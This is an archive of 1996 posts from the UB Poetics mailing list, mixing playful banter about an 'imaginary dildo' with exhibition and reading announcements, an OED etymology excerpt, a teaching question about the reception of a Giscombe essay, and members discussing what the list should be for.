> *How many of you on the list want to hear about Rachel Loden's confidential messages to Mark Wallace concerning George Bowering's imaginary dildo?*

This benedetti guy must have dildos on the mind. There was no dildo, imaginary or otherwise, mentioned at all in our rather unsubtle satire of US Leftist adventurism.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

349. **George Bowering**
Re: Confidential to everybody on the list
Tue 17 Sep 1996

> *Now wait: someone said i "promised spankings" --i did no such thing.*

Now look, Maria, you promised me one via back-channel. Okay, maybe that doesnt count, certainly not as a "public" spanking.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

350. **DS**
Re: Confidential to everybody on the lis
Wed 18 Sep 1996

Hoist the spanker.

At 04:17 PM 9/17/96 EST, you wrote:
>Are we voting on public spanking vs confidentially talking dildoes,

↑ Index

351. **filch**
Re: Confidential to everybody on the list
Wed 18 Sep 1996

---

i thought the object in question was col. mustard's candle stick holder. and here i was trying to shape my wick and get it to stand up, boy i feel stupid.

> *This benedetti guy must have dildos on the mind. There was no dildo, imaginary or otherwise, mentioned at all in our rather unsubtle satire of US Leftist adventurism.*

↑ Index

352. Kevin Killian
Tom Field show opens in San Francisco
Wed 18 Sep 1996

Hi, it's Kevin Killian. I hope all of you on this list who live here in San Francisco (or anyone who plans to visit here within the next 6 weeks of so) will get the chance to see this wonderful show which opens tomorrow. It's called "Paintings from Black Mountain College and the Beat Era," it's the first large show of the work of the late Tom Field, who died here a year ago, and this is the address: 871 Fine Arts, 49 Geary Street, San Francisco.

Tom Field was born in 1930, went to Black Mountain College (there's a great story in Martin Duberman's book about the time he tried to run down Robert Creeley in a car), met Robert Duncan and Jess there @ 1956, and came to San Francisco when the College closed in 1957. In San Francisco he joined a host of other "Mountaineers" including Joe Dunn, John Wieners, Basil King, etc., etc. and began work as a merchant mariner, shipping out and shipping in, a sailor's life, blah blah blah. While on land he produced in short order at least a dozen large A-E type magnificent paintings and became Jack Spicer's favorite painter. For a while he lived in the famous East-West House where he met Joanne Kyger, Lew Welch, Jack Kerouac, Lenore Kandel and so forth (in Kerouac's novel "Big Sur" he appears under the name "Lanny Meadows," not so imaginative I suppose). Last year he died there @ 65.

Robin Blaser has written the essay that accompanies this show, which gathers together for the first time most of the great pictures from the late fifties and early sixties, drawn from a variety of private collections (Kyger, Jess, Fran Herndon, Ernie Edwards, etc). I sneaked in to the gallery last Saturday, while the Rauschenberg show was still up, and saw the Field pictures leaning against the walls, not hung yet, and I was blown away. If there's any justice this exhibition should re-write Bay Area art history...it's miles better than SFMOMA's over-hyped "Abstract Expressionists of San Francisco" show which is running concurrently. Come on down! Tell me what you think. The reception is tomorrow (Thursday) between 5:30 and 7:30--California time, so you could probably show up Saturday and the reception would still be going on. Thanks everyone!

↑ Index

353. Kevin Killian
Barbara Guest reading in San Francisco
Wed 18 Sep 1996

Hi it's Kevin Killian. Perhaps some of you who live in San Francisco or who will be here Sunday will want to come to see Barbara Guest, who will be reading at Avery Burns' series at Canessa Park, Sunday, the 22nd, at 3:00 p.m. It's the book launch for her new book, the title of which I cannot properly reproduce via e-mail, but it's something like "Quill Solitary Apparition" (with lots of different spaces and italics) from Post Apollo Press.

This appearance should answer the question, how will La Guest top her last public appearance. Bay Area theater goers have awarded her the Sarah Siddons prize for her remarkable Margo-Channing style performance in my play "Island of Lost Souls" this past spring. She tore up the stage as Clarice, the sister of Claus von Bulow...Clarice, a character torn from a lost John Webster Jacobean decadent play, obsessed by her incestuous relationship with her brother (played by Rex Ray), bitterly opposed to his marriage to spoiled, insipid, diabetic heiress Sunny (Alicia Wing). "Blow out the candles, Clarice!" Anyway although she will be playing no character on Sunday, she is still a diva assoluta and it should be quite a show!! Thanks everyone.

↑ Index

354. Ron Silliman
Confidential to David Benedetti
Wed 18 Sep 1996

Personally I would LOVE to see George Bowering spanked with a dildo, if that is now what is being offered or promised. As an epistolery novel, this thread has great potential. It's already a far more interesting project than, say, Griffin and Sabine. And just think what this technology will make possible in a few years--we'll take the "virtual" right out of it!

Oggling,

Ron Silliman

↑ Index

355. Rachel Loden
Re: Confidential to everybody on the lis
Wed 18 Sep 1996

> *Are we voting on public spanking vs confidentially talking dildoes,*

Personally, I'd have to vote for the confidentially talking dildoes. None of the dildoes in my museum-collection of Dildoes Throughout History says a WORD. I'm a bit muffed, I mean miffed.

Rachel Loden

"O Tiger-lily," said Alice, addressing herself to one that was waving gracefully about in the wind, "I wish you could talk!"

"We can talk," said the Tiger-lily: "when there's anybody worth talking to."

↑ Index

356. **Beth Simon**
Re: Confidential to everybody on the lis
Wed 18 Sep 1996

Carried away by something, I have no idea what, I posted the
one from column a query
    Are we voting on public spanking vs confidentially talking dildoes

But I am glad to learn (since I didn't check my Warner's) that how more than one talking dildo is not spelled with an e.

breathlessly awaiting the write-ins from Chicago's North Side,

beth

↑ Index

357. **Loss Glazier**
Mag/Press Listing
Wed 18 Sep 1996

If you are publishing a magazine or running a press and you do not have a listing at the Electronic Poetry Center, consider filling out the form that follows. We'd love to share our 13,000 transactions a month with you! One of our goals is to get good writing to those who seek it! -- Loss ---------- <--- cut here ---> ----------
---------- Electronic Poetry Center Mag/Press Listing Listing Created/Revised:

Title:

Editor(s):
Postal Address:

E-mail (if available):

Issn [if mag]:
Frequency:
Sub. Cost:

Ed. Stmt: [General statement - a few words or longer if you wish. This sometimes helps, for example: new British poets, e.g. - You may also write at greater length.]

- either -

Issue Info [mags]: Issue by issue descriptions

- or -

Publications [presses]: List of publications with descriptions (and ISBNs if possible)

[If you have both a mag and a press please fill out one form for each. Submit forms by e-mail with "EPC Mag/Press listing" in the subject line and send to [redacted]]

Loss Glazier <[redacted]>
http://writing.upenn.edu/epc

↑ Index

358. **Loss Glazier**
Mag/Press listing
Wed 18 Sep 1996

If you are publishing a magazine or running a press and you do not have a listing at the Electronic Poetry Center, consider filling out the form that follows. We'd love to share our 13,000 transactions a month with you! One of our goals is to get good writing to those who seek it! -- Loss

---
Electronic Poetry Center
Mag/Press Listing
Listing Created/Revised:

Title:

Editor(s):
Postal Address:

E-mail (if available):

Issn [if mag]:
Frequency:
Sub. Cost:

Ed. Stmt: [General statement - a few words or longer if you wish. This sometimes helps, for example: new British poets, e.g. - You may also write at greater length.]

- either -

Issue Info [mags]: Issue by issue descriptions

- or -

Publications [presses]: List of publications with descriptions (and ISBNs if possible)

[If you have both a mag and a press please fill out one form for each. Submit forms by e-mail with "EPC Mag/Press listing" in the subject
line and send to [redacted]]

↑ Index

359. Mark Wallace
language poetry on treble
Wed 18 Sep 1996

Hey Jordan:

My own take on one of the main legacies of the language poets (to the extent, when and where, that they constitute a group, which they do in specific ways and not in specific others) is the necessity for an intense critique of all other poetry coming before and around you, etc. So pointed critique is not simply what language poets deserve, both as a group and as individuals, but something their methods often literally demand. One of my points in at least one of those essays is that what counts, I think, is the difference between critiques of language poetry that work and critiques that do not, and my attempt at least partly was to involve both; that is, both to critique those positions that seemed to me not to work, as well as to put forward some critiques that seemed to me more workable. I'm not a fan of language poetry, for instance in the way that one would be (should be!--go birds!) a fan of the Baltimore Orioles (but not a fan of the business of sports), although there are times and places that one should cheer on poetry even if it means Robert Frost (ever work at a community college?).

Rather, as a poet and a writer on poetry I take myself to be ENGAGED with the questions that poets from multiple traditions put forward--I cheer and I rage, I love and I hate, and I try as much as possible to put grounds for those attitudes (and their lack of ground) out on the table.

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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360. cris cheek
CD announcement / spoken word
Wed 18 Sep 1996

Sound & Language are proud to announce their first spoken word CD release:

'skin upon skin' by cris cheek (SLCD0300)

three pieces are featured ('Skin Upon sKin' + 'rooftop fog' w/ Sianed Jones + 'stranger' w/ Sianed Jones) at a total playing time of over 70 minutes.

'cris cheek is capable of vocalisations that seamlessly weld plummy Olivien Shakespeare to Hollywood demons, mournful blues to Madagascan laments, and are able to pull through them texts that glimmer and shudder in social fierceness, pathos and humour. Cheek's merging of cultural high ground and political lowlife is unpredictable, its cunning velocity quivers on the edge of mania.' (Brian Catling)

The production quality is extremely high. Price: Ten pounds sterling (inc) Fifteen dollars (inc p& p)

cash payment (dollars or sterling) U.K cheques or international money orders only - made payable directly to Sound & Language

thanks
Suzy Lacey (production assistant)

↑ Index

361. **Mark Roberts**
Re: Eric Beach
Wed 18 Sep 1996

> *Dear Ralph, is that a typo, Toby Green? Glad to know E Beach is alive and well and active. I liked the anthologized NZ poems.*
> *best*
>
> *Tony Green,*
> *e-mail:* [redacted]

I just remebered a grant Cauldwell poem about standing on the shore of a bay in Tasmania (hi Ralph) with Eric smoking a joint and arguing about the moon-light.....

_____
Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)9351 5066
MOBILE 015063970
FAX:(02)9351 5081

↑ Index

362. **VIDAVER**
Dildo & The Real
Wed 18 Sep 1996

In reply to Daniel Bouchard's concern for a real dildo, I am happy to inform the list that there is a small town, just north of Blakeville and east of Spread Eagle, Newfoundland, named "Dildo". In fact, there is a series of locations within that vicinity that are unabashedly specified by the name, such as Dildo Pond, South Dildo, and Dildo Island (which is an important archaelogical site containing Beotuk and Maratime Archaic Indian remains).

Of interest in this connection is the curious absence of Dildo (or "Dildo," that is, the word) in that poem in Robin Blaser's "Syntax" sequence of _The Holy Forest_ entitled, "The Mystic East" where we find, naturally, Heart's Content (just north of Dildo) and the names of some of the other points along Trinity Bay.

As Bowering notes, the imaginary dildo is itself imaginary vis-a-vis the ongoing collaboration because it did not exist until Benedetti invented it. However, because of this remark we now have "Bowering's Imaginary 'Imaginary Dildo,'" as

an entity which forms part of the reality of this world-disclosive electronic mailing list. This may be an unpleasant multiplication for subscribers who have certain expections about the functions and structures of [redacted], but for someone who is studying the form of electronic records and their disposition to archives, it makes for exciting and complex study.

Aaron Vidaver
[redacted]

↑ Index

363. **Steve Carll**
Re: Confidentially...
Wed 18 Sep 1996

Golly, Maria, if I'd known you were THAT type of girl, I wouldn't have left so soon after your Stein lecture at New College.

'Course, if I'd known you were that type of girl, I wouldn't have been able to CONCENTRATE on your Stein lecture.

****
[redacted] Steve Carll

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

364. **Tod Thilleman**
Re: poets/painters collaborate in NYC
Wed 18 Sep 1996

KEEP BREATHING/ KEEP SHOUTING
Artists and Writers Collaborating
September 18 thru 28, 1996

reception and poetry reading: Saturday, Sept. 21 5 - 7 pm

450 Broadway Gallery, 4th floor between Grand and Canal

info: karen Marston @ [redacted]

artists/writers

J.F. Ahlin/John Williams Winifred McNeill/John Woodruff James Barr/ Anne Elliot Karen Marston/Inna Mattei Meredtih Bergmann/ Michael Bergmann Lisa Martin/Gail Feldt Ardythe Ashley Robert Bruce/Tod Thilleman Ellen Louise Smith/Duane McDiramid Fred Caruso/Burt Kimmelman Kerry Stevens/David Cameron Juri Kim/ Gina Bonati Audrey Stone/Dina Ben-Lev David Lantow/Todd Colby Paul Vilinsky/Jonathun Blunk

limited number catalogues available for out of towners intnersted: e-mail backchannel me adfdress

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365. Jordan Davis
Lisa Robertson / treble kicker
Wed 18 Sep 1996

No Lisa's not joining Pavement, not that I know of -- but does anybody have her e-mail address or phone number?

—

Mark -- I'm all for pointed critique, being a wayward fan of the all, but in my neighborhood everybody wants me to turn up the _bass_ -- then I do and I can't hear the words -- gotta hear the words -- Jordan

PS Why is everything produced in the 80s accused of using the modes of Reaganism? Why are those 80s producers of cultural goods regarded as _collaborators_ and not as people exhibiting symptoms? Or am I just rehashing cultural critique I haven't read.

↑ Index

366. Lisa Samuels
McCaffery e-address?
Wed 18 Sep 1996

would steve mccaffery or another kind person please backchannel me his e-address? pretty please with sugarplums? send to

[redacted]

thanks much

lisa s.

↑ Index

367. **maria damon**
Re: Confidentially...
Wed 18 Sep 1996

steve carl writes:
> Golly, Maria, if I'd known you were THAT type of girl, I wouldn't have left
> so soon after your Stein lecture at New College.
>
> 'Course, if I'd known you were that type of girl, I wouldn't have been able
> to CONCENTRATE on your Stein lecture.
>
> **********
> [redacted] Steve Carll
>
> In seed-
> sense
> the sea stars you out, innermost, forever.
>
> --Paul Celan
> **********

well now steve. i didn't know celan was THAT kind of a guy; if i'd known i might have sought out john felstiner a little more aggressively during my graduate school years. and to think, i spent a weekend with pierre and nicole without even knowing.--md

↑ Index

368. **DS**
Re: Confidential to everybody on the lis
Wed 18 Sep 1996

For this we would have to blame quayle

> *But I am glad to learn (since I didn't check my Warner's) that*
> *how more than one talking dildo is not spelled with an e.*
>
> *breathlessly awaiting the write-ins from Chicago's North Side,*
>
> *beth*

↑ Index

369. **Tony Green**
Re: Confidential to everybody on the lis
Wed 18 Sep 1996

Re dildos. The mention of "batteries" suggested that the "object" was perhaps a vibrator. best

Tony Green,
e-mail: [redacted]

↑ Index

370. **maria damon**
Re: Confidential to everybody on the lis
Wed 18 Sep 1996

Again, the Internet Family Values Ass'n wishes to go on record as saying that it neither condones nor performs battery, simple or aggravated by assault; it administers with the exquisite expertise of its ministers, delicious punishment that is explicitly begged for. This is our plain, simple, and unbeatable recipe for American society, of which we are the foundation and the cornerstone. bests always, md

In message <[redacted]> UB Poetics discussion group
writes:
> Re dildos. The mention of "batteries" suggested that the "object" was perhaps
> a vibrator. best
>
> Tony Green,
> e-mail: [redacted]

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371. **Jordan Davis**
redux is a drug
Wed 18 Sep 1996

---

and I want to know what it is people want from this space -- this listserv if you're not a spatialist -- I asked when I got here and I'm asking again now -- what do you want -- what do you wish would happen here

Jordan

↑ Index

372. **DS**
Re: Dildo & The Real
Wed 18 Sep 1996

and i fought the dildo was extant

↑ Index

373. **George Bowering**
Re: Tom Field show opens in San Francisco
Wed 18 Sep 1996

Kevin,

any information about the Tom Field show travelling? Well, I guess it IS a SF thing, and I guess I'd better not get my hopes up. But I have always dug that man, I mean paintings and things said. I met him only once, at some kind of rehearsal of someone's masque, i think, in about 1962. He was wearing a nice plain sweater with very visible stitches, and he was quiet and assured. He was only the second Black Mountaineer I met.

Is there going to be a catalogue, with Robin's piece, and pictures? Available.?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

374. **Brian Carpenter**
Re: CD announcement / spoken word
Wed 18 Sep 1996

> *Sound & Language are proud to announce their first spoken word CD release:*

Sounds great. But what is the Sound & Langauge address?

=bc

↑ Index

375. **George Bowering**
Re: Confidentially...
Wed 18 Sep 1996

> *i spent a weekend with pierre and nicole*
> *without even knowing.--md*

Yeah, Maria. They are like that. I once spent a weekend in a hot tub with them and didnt notice.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

376. **George Bowering**
Re: Confidential to everybody on the lis
Wed 18 Sep 1996

> *For this we would have to blame quayle*

Isnt that Quayl ?
>
>
>>But I am glad to learn (since I didn't check my Warner's) that
>>how more than one talking dildo is not spelled with an e.
>>
>>breathlessly awaiting the write-ins from Chicago's North Side,
>>
>>beth
>>
>>

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

377. George Bowering
Re: Confidential to everybody on the lis
Wed 18 Sep 1996

> *Re dildos. The mention of "batteries" suggested that the "object" was perhaps a vibrator. best*
>
> *Tony Green,*
> *e-mail:* [redacted]

Now, I think that is just a little hasty. Well, it is a kind of fixation for Brits, and as we know, New Zealanders are really south seas Brits. I mean, come on: lots of objects employ batteries. Travel alarm clocks, for instance. Laptops (oops). Well. . . well. . . uh, gameboys (oops). . well...

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

378. DS
Re: Confidential to everybody on the lis
Wed 18 Sep 1996

At 07:38 PM 9/18/96 -0700, you wrote:
>>For this we would have to blame quayle
>
>
>Isnt that Quayl ?

Que?
>>
>>
>>>But I am glad to learn (since I didn't check my Warner's) that
>>>how more than one talking dildo is not spelled with an e.
>>>
>>>breathlessly awaiting the write-ins from Chicago's North Side,
>>>
>>>beth

>>>
>>>
>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]
>
>

↑ Index

379. **George Bowering**
Re: redux is a drug
Wed 18 Sep 1996

> *what do you wish would happen here*
>
> *Jordan*

Same thing that happens in "East Coker".

George Bowering.

,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

380. **George Bowering**
Re: Dildo & The Real
Wed 18 Sep 1996

One day last spring the famed poet George Stanley pickled his hair. Held his head in brine for quite some time, and then had Wanda work on his locks.

Among the poets of Robson Street at least, George Stanley was the first to have a dill do .

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

381. **maria damon**
Re: redux is a drug
Wed 18 Sep 1996

In message <v01530505ae664b6403f0@[166.84.199.56]> UB Poetics discussion group
writes:
> and I want to know what it is people want from this space -- this listserv
> if you're not a spatialist -- I asked when I got here and I'm asking again
> now -- what do you want -- what do you wish would happen here
>
> Jordan

life, love, unceasing efflorescence of creative ecstasy, smarttalk, silliness, and social responsibility. lifelong friendships, inconceivable depth of soulful conversation, ethereal heights of giddy triumph of the inane, and so forth. bests always, md

↑ Index

382. **maria damon**
Re: Dildo & The Real
Thu 19 Sep 1996

---

does anyone have any etymological info on the word "dildo" either as a sex toy or as the place-names mentioned below?--md ps it cd almost be a weaving word, it's that silly sounding.

In message <[redacted]> UB Poetics discussion group writes:
> In reply to Daniel Bouchard's concern for a real dildo, I am happy
> to inform the list that there is a small town, just north of
> Blakeville and east of Spread Eagle, Newfoundland, named "Dildo".
> In fact, there is a series of locations within that vicinity that are

> unabashedly specified by the name, such as Dildo Pond, South Dildo,
> and Dildo Island (which is an important archaelogical site containing
> Beotuk and Maratime Archaic Indian remains).
>
> Of interest in this connection is the curious absence of Dildo (or
> "Dildo," that is, the word) in that poem in Robin Blaser's "Syntax"
> sequence of _The Holy Forest_ entitled, "The Mystic East" where
> we find, naturally, Heart's Content (just north of Dildo) and the
> names of some of the other points along Trinity Bay.
>
> As Bowering notes, the imaginary dildo is itself imaginary
> vis-a-vis the ongoing collaboration because it did not exist until
> Benedetti invented it. However, because of this remark we now
> have "Bowering's Imaginary 'Imaginary Dildo,'" as an entity
> which forms part of the reality of this world-disclosive
> electronic mailing list. This may be an unpleasant multiplication
> for subscribers who have certain expections about the functions and
> structures of [redacted], but for someone
> who is studying the form of electronic records and their disposition
> to archives, it makes for exciting and complex study.
>
> Aaron Vidaver
> [redacted]

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383. **filch**
Re: Dildo & The Real
Thu 19 Sep 1996

in searching for info on dildo etymology i came across the http://www.oed.com/ site which although it is not open yet looks to be a wonderful machine. FYI.

> *does anyone have any etymological info on the word "dildo" either as a sex toy or as the place-names mentioned below?--md ps it cd almost be a weaving word, it's that silly sounding.*

↑ Index

384. **Hugh Nicoll**
Re: Dildo & The Real
Thu 19 Sep 1996

Re: OED on "dildo", from the CD-ROM version

dildo1. Also dildoe. a. A word of obscure origin, used in the refrains of ballads. Also, a name of the penis or phallus, or a figure thereof; spec. an artificial penis used for female gratification; the lingam of Hindu worship; formerly, also, a contemptuous or reviling appellation of a man or lad; and app. applied to a cylindrical or <oq>sausage<cq> curl. <Ntilde>1593 T. Nashe Choise of Valentines or the Merie Ballad of Nash his Dildo (1899) 20 Curse Eunuke dilldo, senceless counterfet. 1598 Florio Worlde of Wordes 261/3 Pastinaca muranese, a dildoe of glasse. Ibid. 278/2 Pinco, a prick, a pillicock, a pintle, a dildoe. 1610 B. Jonson Alch. v. iii, Here I find..The seeling fill<cq>d with poesies of the candle: And Madame, with a Dildo, writ o<cq> the walls. 1611 Shakes. Wint. T. iv. iv. 195 He has the prettiest Loue-songs for Maids..with such delicate burthens of Dildo<cq>s and Fadings. <Edh>1627 Middleton Chaste Maid i. ii, What, has he got a singing in his head now? Now<cq>s out of work he falls to making dildoes. 1638 Ford Fancies iv. i, This page a milk-livered dildoe. 1647 Parl. Ladies 12 The very sight of this Madam with a Dildoe..put the House into a great silence. <Ntilde>1650 Roxb. Ball. II. 455 She prov<cq>d herself a Duke<cq>s daughter, and he but a Squire<cq>s son. Sing trang dildo lee. 1656 S. Holland Zara (1719) 41 That Gods may view, With a dildo-doe, What we bake, and what we brew. 1659 Torriano, Bacillo..a simple gull, a shallow pate, also a dill-doe, or pillie-cock. 1661 R. W. Conf. Charac. To Rdr. (1860) 7 O thou faint-hearted dildo. 1688 R. Holme Armoury ii. 463/2 A Campaign Wig hath Knots or Bobs (or a Dildo on each side) with a curled Forehead. 1698 Fryer Acc. E. India 179 Under the Banyan Tree, an Altar with a Dildo in the middle being erected, they offer Rice. 1785 Grose Dict. Vulgar T. s.v., Dildoes are made of wax, horn, leather, and diverse other substances. 1886 Burton Arab. Nts. X. 239 Of the penis succedaneus,..which the Latins called phallus and fascinum, the French godemich<eacu> and the Italians passatempo and diletto (whence our <oq>dildo<cq>), every kind abounds. 1952 Auden Nones 11 The nude young male who lounges Against a rock displaying his dildo. 1965 New Statesman 9 Apr. 570/2 Why does it matter so much to them whether lesbians use a dildo or not? b. Comb. dildo-glass, a cylindrical glass; ? a test-tube. <Ntilde>1625 Fletcher Nice Valour iii. i, Whoever lives to see me Dead, gentlemen, shall find me all mummy, Good to fill galipots, and long dildo-glasses.

dildo2.
[prob. the same word as prec., from its cylindrical form like a <oq>dildo-glass<cq>.]
A tree or shrub of the genus Cereus (N.O. Cactace<ae>). Also dildo-tree, dildo-bush, dildo pear tree.
1672 W. Hughes Amer. Physitian 43 The Tree was long since called by the Spaniards, and by the Negroes that lived there, the Dildoe-Tree; and the English retain the same name still.

1696 Phil. Trans. XIX. 296 The Dildoe-tree is the same with the Cereus or Torch-Plant.
1697 W. Dampier Voy. I. 81 Barren Islands without any Tree, only some Dildo-bushes growing on them.
Ibid. 101 The Dildoe-tree is a green prickly shrub, that grows about 10 or 12 foot high, without either Leaf or Fruit. It is as big as a mans Leg, from the root to the top, and it is full of sharp prickles, growing in thick rows.
1700 W. King Transactioneer 11 The Toddy-Tree, the Sower-Sop, the Bonavists, and the Dildoe.
1756 P. Browne Nat. Hist. Jamaica (1789) 238 The larger erect Indian Fig, or Dildo Pear Tree.
1926 Fawcett & Rendle Flora of Jamaica V. 279 C[ereus] peruvianus... Dildo. Dry parts of Jamaica on southern side.
1956 J. Hearne Stranger at Gate xix. 156 It<cq>s like getting a dildo thorn out of your foot.

↑ Index

385. Kevin Killian
Giscombe/Fugitive
Thu 19 Sep 1996

This is Dodie.

For my Creative Writing 1 class I assignmed C.S. Giscombe's essay on the TV series The Fugitive, which is in the Leave Books anthology, _The Poetics of Criticism_. I really like this essay, think it's kind of fun, find Giscombe's revisioning of the fugitive as black so intereting, enjoy his jibes at the white academy, am impressed by the deftness of the slippages in his language. So Š we get in class yesterday afternoon, and I say something bland like, "What did you think of this essay?" And I got this torrent of complaints: I hated it, this guy can't write, this is reverse racism, this really pissed me off, just because he thinks something it doesn't mean it's true, how dare he say the fugitive isn't black enough, it's ridiculous to say that white people can't teach black writers as well as black people, what does he know about Tracy Chapman's singing! One girl latched onto Giscombe's discussion of Ellison's _Invisible Man_, said, "Have you read that book?" Before I could answer, she added, "I hated it! All that guy did was complain." The bulk of this response came from three (of eleven) students, the ring-leader being the Invisible Man-hater.

I tried working with their feelings--yes, Giscombe is using some confrontational language in his piece but Š But nothing I could do could quite turn the situation around from my trying to defend the essay into looking at what the essay

had to offer. Particularly because some of the "pissed off" students had totally misread the essay (for instance Giscombe never says the fugitive isn't black enough--he says quite the opposite) and in their rage were irrational. Unfortunately, there are no black people in the class. To me many of the students' responses reeked of racism--to call a black man's reinterpretation of cultural icons of the 60s reverse racism!!???

Frankly I'm stunned, don't quite know what to do about this. When we read _Wigger_ by Lawrence Braithwaite, I'd better bring in a seatbelt--that book really is incendiary, wiggers being white suburban kids who want to be black. Braithwaite is black, gay, and Canadian--I'm afraid he's going to be like a Martian to my students. Call in the Marines, blast this alien to smithereens! Speaking of Martians, we are going to be reading Spicer's letters to Lorca.

Have any of you dealt with this kind of thing?

Dodie

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386. **cris cheek**
Re: CD announcement / spoken word
Thu 19 Sep 1996

Sorry to all about excluding the mailing address.

all mail to:

Sound & Language
85 London Road South
Lowestoft
Suffolk NR33 OAS
UK

thanks for the enquiries
love and biscuits
Suzy

↑ Index

387. **henry**
Re: redux is a drug
Thu 19 Sep 1996

On Wed, 18 Sep 1996 21:00:44 -0400 Jordan Davis said:
>and I want to know what it is people want from this space -- this listserv
>if you're not a spatialist -- I asked when I got here and I'm asking again
>now -- what do you want -- what do you wish would happen here

1. Less silly chatter of no "poetics"interest (I include myself as one of the culprits). I'm all for humor & lightness (except when I'm against it). Imagine how it looks to a newcomer searching for "poetics".

2. Less personal & business messages & replies that should have been backchanneled.

3. More regional info & calendars from round de world (with region in subject line).

4. More input from lurkers (both new & jaded old-timers).

5. Discussion on varieties of issues people have brought up, threads never taken up. (Now what were they...)
- Henry Gould

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388. **Gwyn McVay**
Re: Dildo & The Real
Thu 19 Sep 1996

They are from Water Island off the French Riviera--"d'Ile d'Eau."

Gwyn

↑ Index

389. **Beth Simon**
Re: Dildo & The Real
Thu 19 Sep 1996

An OED is a thing of beauty. Usually find a couple of the two volume versions (the 20 vols entire plus the "supplement") They used to give away as an inducement to join (Which?) Book Club. Also, the Shorter OED is a marvel at one volume. You can keep either right next to the keyboard, in front of your 3rd International Unabridged Webster's (4th due out before the mill). For etyms (of Brit Eng, ScotsIr, and AmerEng), the OED is necessary and delicious.

Beth Simon
(formerly of the Dictionary of American Regional English (aka among the DARE eds as the dict)
Assistant Professor, Linguistics and English
Indiana University - Purdue University

ach, i see i didn't finish my sentence above--you can usu fd thm at used bk stores

↑ Index

390. **maria damon**
Re: Dildo & The Real
Thu 19 Sep 1996

---

actually, my preference is not for the OED. i adore etymological dictionaries, and i find that the OED is too literary, too exclusively English (i mean, they only give examples from words' appearances in their modern form in English literary texts) and they, for example, didn't have the word "feminism" in there as of the late 1980s except to mean "a feminine gesture, trait, etc". as in, he exhibited a feminism when he flashed that limp wrist. however, this dildo info is useful (the word doesnt apear in my etym dict.) thanks all for the feedback. md

In message <[redacted]> UB Poetics discussion
group writes:
> An OED is a thing of beauty. Usually find a couple of the two volume
> versions (the 20 vols entire plus the "supplement") They used to give
> away as an inducement to join (Which?) Book Club. Also, the Shorter
> OED is a marvel at one volume. You can keep either right next to
> the keyboard, in front of your 3rd International Unabridged Webster's
> (4th due out before the mill).
> For etyms (of Brit Eng, ScotsIr, and AmerEng), the OED is necessary
> and delicious.
>
> Beth Simon
> (formerly of the Dictionary of American Regional English (aka among
> the DARE eds as the dict)
> Assistant Professor, Linguistics and English
> Indiana University - Purdue University
>
>
>
> ach, i see i didn't finish my sentence above--you can usu fd thm at
> used bk stores

↑ Index

391. **Beth Simon**
Re: Dildo & The Real
Thu 19 Sep 1996

One of noticeable changes from the first Caught In The Web Of Words gang to the folks who did the first Supplement, is that the latter crew read lots and lots and lots of murder mysteries, so sources for use are interesting. Perry Mason, take a bow.

I haven't taken a look at the Middle English Dictionary. How's that for etyms?

beth

↑ Index

392. **Ian Wilson**

Re: Giscombe/Fugitive

Thu 19 Sep 1996

> *When we read _Wigger_ by Lawrence Braithwaite, I'd better bring in a seatbelt*

Dodie,

Is _Wigger_ a novel? Or what form then?

Any chance of turning the discussion away from the perceived content and onto the craft -- if "teaching" creative writing is what you're doing in the workshop? Lately, the fiction workshops I've been in have been barring judgmental comments ("I didn't like the main character") and forcing the respondents to make pure observations such as "All the dialogue is expositional," "Only the main character is round all the rest are flat characters," "The level of discourse is primarily indirect throughout." The first time I saw this in action, it was amazing how much lower the high horses got. All criticism with even a tinge of the ad hominem disappeared. It makes the writer's job more difficult because he or she has to figure out the significance of these remarks. The professor, privately, will discuss their significance for revision purposes.

But if you're going to allow content-laden reader-response to the pieces, can you demand textual backup of each respondent's opinion? You said in your post that people misread, can you make them go back into the piece and prove their positions? The New Criticism is still worth something as a pedagogy, I think.

Or maybe my suggestions are beyond the scope of a Creative Writing I class, I don't know.

Ian Wilson
Loyola Marymount University, Los Angeles
[redacted]
http://users.aol.com/ibar88/private/story/index.htm

↑ Index

393. **Christopher J. Beach**
Re: redux is a drug
Thu 19 Sep 1996

I would second Henry Gould's suggestions, and I have made some of the same suggestions about the list before. As a jaded old-timer and (mostly) lurker on the list, I would probably be more inclined to *actively* participate if we could cut down a bit on the "silly chatter" and "personal business and replies" and do more substantive discussions like those on poetic form, poets vs. critics, poetry and institutions, future(s) of LangPo, poetry and class, relationships between different poetic communities, musical settings of poetry, etc. Some of these threads have been really interesting. Also I love to hear about conferences (especially those I am unable to attend), new presses, mags, books, etc. And what ever happened to the thread about "what new books I've been reading lately"? I always learn a lot from hearing what everyone's been reading and enjoying, and it is encouraging in this day in age to know that people are still reading.

Chris B

On Thu, 19 Sep 1996, henry wrote:

> *On Wed, 18 Sep 1996 21:00:44 -0400 Jordan Davis said:*
> *and I want to know what it is people want from this space -- this listserv if you're not a spatialist -- I asked when I got here and I'm asking again now -- what do you want -- what do you wish would happen here*
>
